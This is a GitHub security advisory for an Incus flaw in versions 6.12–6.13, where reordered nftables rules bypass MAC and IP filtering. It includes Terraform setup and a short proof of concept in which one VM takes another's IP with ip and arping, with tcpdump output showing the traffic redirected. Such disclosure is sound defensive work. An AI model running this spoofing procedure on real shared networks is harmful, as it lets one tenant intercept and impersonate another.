Skip to content

Incus creates nftables rules that partially bypass security options

High severity GitHub Reviewed Published Jun 25, 2025 in lxc/incus • Updated Jun 28, 2025

Package

gomod github.com/lxc/incus/v6 (Go)

Affected versions

>= 6.12, <= 6.13

Patched versions

6.14

Description

Summary

When using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.

Details

In commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:

ct state established,related accept

iifname "{{.hostName}}" ether type arp accept
iifname "{{.hostName}}" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept

However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering", "IPv4 filtering" and "IPv6 filtering" snippets:

iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
...
iifname "{{.hostName}}" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop
...
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop

Basically, the added rules partially bypass the security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).

PoC

With this terraform infrastructure:

resource "incus_network_acl" "acl_allow_out" {
  name    = "acl-allow-out"
  egress = [
    {
      action           = "allow"
      destination      = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
      state            = "enabled"
    },
  ]
}
resource "incus_network_acl" "acl_allow_in" {
  name    = "acl-allow-in"
  ingress = [
    {
      action           = "allow"
      state            = "enabled"
    },
  ]
}

resource "incus_network" "br0" {
  name = "br0"
  config = {
    "ipv4.address"          = "10.0.0.1/24"
    "ipv4.nat"              = "true"
  }
}

resource "incus_instance" "machine1" {
  name  = "machine1"
  image = "images:archlinux/cloud"
  type = "virtual-machine"
  config = {
    "limits.memory" = "2GiB"
    "security.secureboot" = false
    "boot.autostart" = false
    "cloud-init.vendor-data" = <<-EOF
      #cloud-config
      package_update: true
      packages:
        - dhclient
        - tcpdump
      runcmd:
        - systemctl disable --now systemd.networkd.service
        - systemctl disable --now systemd.networkd.socket
    EOF
  }
  device {
    type = "disk"
    name = "root"
    properties = {
      pool = "default"
      path = "/"
      size = "64GiB"
    }
  }
  device {
    type = "nic"
    name = "eth0"
    properties = {
      network = incus_network.br0.name
      "security.ipv4_filtering" = true
      "security.acls" = join(",",
        [
          incus_network_acl.acl_allow_out.name,
          incus_network_acl.acl_allow_in.name,
        ])
    }
  }
}

resource "incus_instance" "machine2" {
  name  = "machine2"
  image = "images:archlinux/cloud"
  type = "virtual-machine"
  config = {
    "limits.memory" = "2GiB"
    "security.secureboot" = false
    "boot.autostart" = false
  }
  device {
    type = "disk"
    name = "root"
    properties = {
      pool = "default"
      path = "/"
      size = "64GiB"
    }
  }
  device {
    type = "nic"
    name = "eth0"
    properties = {
      network = incus_network.br0.name
    }
  }
}

An attacker in a VM (machine1) change their IP address to another VM (machine2)'s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2's IP, it is sent to machine1.
In addition, as ct state established,related accept is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.

[HOST]$ ip n
10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2
10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1

# Spoof machine2
[MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0
[MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0

# Flood
[MACHINE1]$ arping 10.0.0.1

# Machine2's IP refers to machine1's MAC in host ARP table
[HOST]$ ip n
10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE

# Packets from the host (or forwarded by the host) to machine2 ...
[HOST]$ ping 10.0.0.236
PING 10.0.0.236 (10.0.0.236) 56(84) bytes of data.
64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms

# ... are sent to machine1!
[MACHINE1]$ tcpdump -nei enp5s0
listening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15:15:17.008470 10:66:6a:99:e0:d8 > 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 > 10.0.0.236: ICMP echo request, id 4, seq 1, length 64
15:15:17.008513 10:66:6a:89:39:45 > 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 > 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64

Impact

All versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.

References

@stgraber stgraber published to lxc/incus Jun 25, 2025
Published by the National Vulnerability Database Jun 25, 2025
Published to the GitHub Advisory Database Jun 26, 2025
Reviewed Jun 26, 2025
Last updated Jun 28, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions. Learn more on MITRE.

CVE ID

CVE-2025-52890

GHSA ID

GHSA-p7fw-vjjm-2rwp

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.